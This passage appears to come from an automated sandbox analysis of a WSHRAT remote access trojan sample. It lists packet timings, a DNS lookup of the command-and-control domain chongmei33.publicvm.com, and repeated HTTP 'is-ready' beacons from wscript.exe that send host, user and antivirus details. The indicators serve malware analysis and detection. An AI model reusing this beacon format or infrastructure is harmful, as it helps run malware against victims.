Mar 22, 2023 11:38:31.630244970 CET	49705	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:31.856967926 CET	7045	49705	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:31.857219934 CET	49705	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:31.858319998 CET	49705	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:32.089505911 CET	7045	49705	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:32.089840889 CET	49705	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:32.090069056 CET	49705	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:32.317441940 CET	7045	49705	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:37.749591112 CET	49706	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:37.952353001 CET	7045	49706	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:37.952564955 CET	49706	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:37.956187010 CET	49706	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:38.205728054 CET	7045	49706	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:38.205938101 CET	49706	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:39.011693001 CET	49706	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:39.246885061 CET	7045	49706	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:44.127002001 CET	49707	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:44.350353956 CET	7045	49707	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:44.352999926 CET	49707	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:44.353442907 CET	49707	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:44.621792078 CET	7045	49707	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:44.625049114 CET	49707	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:44.625256062 CET	49707	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:44.880017996 CET	7045	49707	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:49.738153934 CET	49708	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:50.070630074 CET	7045	49708	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:50.071715117 CET	49708	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:50.072460890 CET	49708	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:50.396429062 CET	7045	49708	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:50.396723986 CET	49708	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:50.400226116 CET	49708	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:50.828716040 CET	7045	49708	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:55.563112974 CET	49709	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:55.844211102 CET	7045	49709	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:55.844409943 CET	49709	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:55.844826937 CET	49709	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:56.114825964 CET	7045	49709	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:56.116164923 CET	49709	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:56.116430044 CET	49709	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:56.388659954 CET	7045	49709	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:01.263391972 CET	49710	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:01.480464935 CET	7045	49710	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:01.482498884 CET	49710	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:01.482922077 CET	49710	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:01.729406118 CET	7045	49710	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:01.732791901 CET	49710	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:01.733081102 CET	49710	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:01.951574087 CET	7045	49710	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:06.858341932 CET	49711	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:07.143795013 CET	7045	49711	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:07.143946886 CET	49711	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:07.144388914 CET	49711	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:07.468220949 CET	7045	49711	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:07.468367100 CET	49711	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:07.468488932 CET	49711	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:07.731021881 CET	7045	49711	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:12.763797998 CET	49712	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:12.965647936 CET	7045	49712	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:12.965869904 CET	49712	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:12.966341972 CET	49712	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:13.254226923 CET	7045	49712	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:13.254323006 CET	49712	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:13.254470110 CET	49712	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:13.510597944 CET	7045	49712	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:18.394618034 CET	49713	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:18.631515026 CET	7045	49713	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:18.631679058 CET	49713	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:18.634150028 CET	49713	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:18.925338984 CET	7045	49713	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:18.926035881 CET	49713	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:18.926179886 CET	49713	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:19.181071043 CET	7045	49713	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:24.040966034 CET	49714	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:24.263197899 CET	7045	49714	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:24.263350964 CET	49714	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:24.263756990 CET	49714	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:24.494096994 CET	7045	49714	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:24.494184017 CET	49714	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:24.494296074 CET	49714	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:24.712097883 CET	7045	49714	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:32.027158022 CET	49715	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:32.263060093 CET	7045	49715	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:32.263400078 CET	49715	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:32.263868093 CET	49715	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:32.979810953 CET	49715	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:33.188294888 CET	7045	49715	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:33.188416958 CET	49715	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:33.188576937 CET	49715	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:33.387284040 CET	7045	49715	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:38.442709923 CET	49716	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:38.671196938 CET	7045	49716	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:38.671870947 CET	49716	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:38.695593119 CET	49716	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:38.912091970 CET	7045	49716	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:38.914232016 CET	49716	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:38.914397955 CET	49716	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:39.156043053 CET	7045	49716	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:44.054112911 CET	49717	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:44.282994986 CET	7045	49717	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:44.283128977 CET	49717	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:44.283624887 CET	49717	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:44.546179056 CET	7045	49717	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:44.546339989 CET	49717	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:44.546479940 CET	49717	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:44.765925884 CET	7045	49717	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:50.112910032 CET	49718	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:50.396272898 CET	7045	49718	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:50.396420002 CET	49718	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:50.397216082 CET	49718	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:50.626499891 CET	7045	49718	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:50.626636982 CET	49718	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:50.626734972 CET	49718	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:50.838795900 CET	7045	49718	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:55.783734083 CET	49719	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:56.011632919 CET	7045	49719	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:56.011763096 CET	49719	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:56.012176991 CET	49719	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:56.236180067 CET	7045	49719	103.47.144.22	192.168.2.3
Mar 22, 2023 11:39:56.236476898 CET	49719	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:56.236776114 CET	49719	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:39:56.461430073 CET	7045	49719	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:01.334631920 CET	49720	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:01.565391064 CET	7045	49720	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:01.565572977 CET	49720	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:01.578388929 CET	49720	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:01.789261103 CET	7045	49720	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:01.789411068 CET	49720	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:01.791090965 CET	49720	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:01.995688915 CET	7045	49720	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:08.391000032 CET	49721	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:08.629635096 CET	7045	49721	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:08.629822016 CET	49721	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:08.630285025 CET	49721	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:08.872416019 CET	7045	49721	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:08.872670889 CET	49721	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:08.872854948 CET	49721	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:09.107826948 CET	7045	49721	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:13.975733995 CET	49722	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:14.189692020 CET	7045	49722	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:14.189934969 CET	49722	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:14.190562010 CET	49722	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:14.442977905 CET	7045	49722	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:14.443187952 CET	49722	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:14.443422079 CET	49722	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:14.689380884 CET	7045	49722	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:19.561739922 CET	49723	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:19.768991947 CET	7045	49723	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:19.769155979 CET	49723	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:19.769701004 CET	49723	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:19.981447935 CET	7045	49723	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:19.985384941 CET	49723	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:19.985970974 CET	49723	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:20.187978029 CET	7045	49723	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:25.151366949 CET	49724	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:25.446392059 CET	7045	49724	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:25.446614981 CET	49724	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:25.447386026 CET	49724	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:25.765117884 CET	7045	49724	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:25.765208006 CET	49724	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:25.765331030 CET	49724	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:26.037151098 CET	7045	49724	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:30.904362917 CET	49725	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:31.130223036 CET	7045	49725	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:31.130459070 CET	49725	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:31.131057024 CET	49725	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:31.388566971 CET	7045	49725	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:31.388772011 CET	49725	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:31.388914108 CET	49725	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:31.690207958 CET	7045	49725	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:36.502800941 CET	49726	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:36.720693111 CET	7045	49726	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:36.720971107 CET	49726	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:36.721931934 CET	49726	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:36.947315931 CET	7045	49726	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:36.947438955 CET	49726	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:36.947545052 CET	49726	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:37.174211979 CET	7045	49726	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:42.205729008 CET	49727	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:42.429801941 CET	7045	49727	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:42.429909945 CET	49727	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:42.430466890 CET	49727	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:42.664773941 CET	7045	49727	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:42.664912939 CET	49727	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:42.666086912 CET	49727	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:42.888880968 CET	7045	49727	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:47.768131971 CET	49728	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:47.983385086 CET	7045	49728	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:47.983524084 CET	49728	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:47.984992981 CET	49728	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:48.201569080 CET	7045	49728	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:48.201731920 CET	49728	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:48.201905012 CET	49728	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:48.418164968 CET	7045	49728	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:53.411237955 CET	49729	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:53.626483917 CET	7045	49729	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:53.626785994 CET	49729	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:53.627793074 CET	49729	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:53.837008953 CET	7045	49729	103.47.144.22	192.168.2.3
Mar 22, 2023 11:40:53.837093115 CET	49729	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:53.837235928 CET	49729	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:40:54.044846058 CET	7045	49729	103.47.144.22	192.168.2.3
Mar 22, 2023 11:41:00.629730940 CET	49730	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:41:00.836034060 CET	7045	49730	103.47.144.22	192.168.2.3
Mar 22, 2023 11:41:00.836148024 CET	49730	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:41:00.836848974 CET	49730	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:41:01.046806097 CET	7045	49730	103.47.144.22	192.168.2.3
Mar 22, 2023 11:41:01.047061920 CET	49730	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:41:01.047159910 CET	49730	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:41:01.253143072 CET	7045	49730	103.47.144.22	192.168.2.3
Mar 22, 2023 11:41:06.123452902 CET	49731	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:41:06.384644032 CET	7045	49731	103.47.144.22	192.168.2.3
Mar 22, 2023 11:41:06.384902000 CET	49731	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:41:06.386063099 CET	49731	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:41:06.719264984 CET	7045	49731	103.47.144.22	192.168.2.3
Mar 22, 2023 11:41:06.719373941 CET	49731	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:41:06.719757080 CET	49731	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:41:06.984010935 CET	7045	49731	103.47.144.22	192.168.2.3
Mar 22, 2023 11:41:11.818608999 CET	49732	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:41:12.038789988 CET	7045	49732	103.47.144.22	192.168.2.3
Mar 22, 2023 11:41:12.038964987 CET	49732	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:41:12.041835070 CET	49732	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:41:12.574285984 CET	49732	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:41:12.857283115 CET	7045	49732	103.47.144.22	192.168.2.3
Mar 22, 2023 11:41:12.857415915 CET	49732	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:41:12.857495070 CET	49732	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:41:13.119000912 CET	7045	49732	103.47.144.22	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 22, 2023 11:37:51.070846081 CET	62704	53	192.168.2.3	8.8.8.8
Mar 22, 2023 11:37:51.197526932 CET	53	62704	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 22, 2023 11:37:51.070846081 CET	192.168.2.3	8.8.8.8	0xdb34	Standard query (0)	chongmei33.publicvm.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 22, 2023 11:37:51.197526932 CET	8.8.8.8	192.168.2.3	0xdb34	No error (0)	chongmei33.publicvm.com		103.47.144.22	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

chongmei33.publicvm.com:7045

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49698	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:37:51.449934959 CET	102	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49699	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:37:58.976360083 CET	103	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49708	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:38:50.072460890 CET	126	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49709	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:38:55.844826937 CET	126	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49710	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:39:01.482922077 CET	127	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49711	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:39:07.144388914 CET	128	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49712	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:39:12.966341972 CET	129	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49713	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:39:18.634150028 CET	130	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49714	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:39:24.263756990 CET	130	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49715	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:39:32.263868093 CET	131	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
Mar 22, 2023 11:39:32.979810953 CET	132	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49716	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:39:38.695593119 CET	132	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49717	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:39:44.283624887 CET	133	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49700	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
Mar 22, 2023 11:38:04.682959080 CET	105	OUT	POST /is-ready HTTP/1.1 Accept: / user-agent: WSHRAT\|0453C53E\|computer\|user\|Microsoft Windows 10 Pro\|plus\|Windows Defender .\|false - 3/22/2023\|Visual Basic Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: chongmei33.publicvm.com:7045 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49718	103.47.144.22	7045	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
